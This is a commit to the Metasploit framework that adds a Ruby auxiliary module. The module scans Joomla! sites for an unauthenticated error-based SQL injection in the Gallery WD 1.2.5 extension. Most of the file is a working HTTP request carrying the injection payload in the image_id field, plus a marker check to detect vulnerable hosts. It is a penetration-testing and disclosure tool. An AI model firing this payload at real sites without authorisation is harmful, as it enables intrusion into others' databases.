Land rapid7#5039, Webdorado gallery wd 1.2.5 unauthenticated SQLi scanner

Author: wchen-r7

modules/auxiliary/scanner/http/joomla_gallerywd_sqli_scanner.rb

@@ -0,0 +1,107 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'uri'
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Gallery WD for Joomla! Unauthenticated SQL Injection Scanner',
+      'Description' => %q{
+      This module will scan for Joomla! instances vulnerable to an unauthenticated SQL injection
+      within the Gallery WD for Joomla! extension version 1.2.5 and likely prior.
+      },
+      'Author'       =>
+        [
+          'CrashBandicoot', #independent discovery/0day drop
+          'bperry' #discovery/metasploit module
+        ],
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          [ 'EDB', '36563']
+        ],
+      'DisclosureDate' => 'Mar 30 2015'))
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Target URI of the Joomla! instance', '/'])
+    ], self.class)
+  end
+
+  def run_host(ip)
+    right_marker = Rex::Text.rand_text_alpha(5)
+    left_marker = Rex::Text.rand_text_alpha(5)
+    flag = Rex::Text.rand_text_alpha(5)
+
+    vprint_status("#{peer} - Checking host")
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'index.php'),
+      'method' => 'POST',
+      'vars_get' => {
+        'option' => 'com_gallery_wd',
+        'view' => 'gallerybox',
+        'image_id' => '-1',
+        'gallery_id' => '-1',
+        'thumb_width' => '180',
+        'thumb_height' => '90',
+        'open_with_fullscreen' => 0,
+        'image_width' => 800,
+        'image_height' => 500,
+        'image_effect' => 'fade',
+        'sort_by' => 'order',
+        'order_by' => 'asc',
+        'enable_image_filmstrip' => '',
+        'image_filmstrip_height' => 0,
+        'enable_image_ctrl_btn' => 1,
+        'enable_image_fullscreen' => 1,
+        'popup_enable_info' => 1,
+        'popup_info_always_show' => 0,
+        'popup_hit_counter' => 0,
+        'popup_enable_rate' => 0,
+        'slideshow_interval' => 5,
+        'enable_comment_social' => '',
+        'enable_image_facebook' => '',
+        'enable_image_twitter' => '',
+        'enable_image_google' => '',
+        'enable_image_pinterest' => '',
+        'enable_image_tumblr' => '',
+        'watermark_type' => 'none'
+      },
+      'vars_post' => {
+        'image_id' => "1 AND (SELECT 2425 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)",
+        'rate' => '',
+        'ajax_task' => 'save_hit_count',
+        'task' => 'gallerybox.ajax_search'
+      }
+    })
+
+    unless res && res.body
+      vprint_error("#{peer} - Server did not respond in an expected way")
+      return
+    end
+
+    result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
+
+    if result
+      print_good("#{peer} - Vulnerable to unauthenticated SQL injection within Gallery WD for Joomla!")
+      report_vuln({
+        :host  => rhost,
+        :port  => rport,
+        :proto => 'tcp',
+        :name  => "Unauthenticated error-based SQL injection in Gallery WD for Joomla!",
+        :refs  => self.references.select { |ref| ref.ctx_val == "36563" }
+      })
+    end
+
+  end
+
+end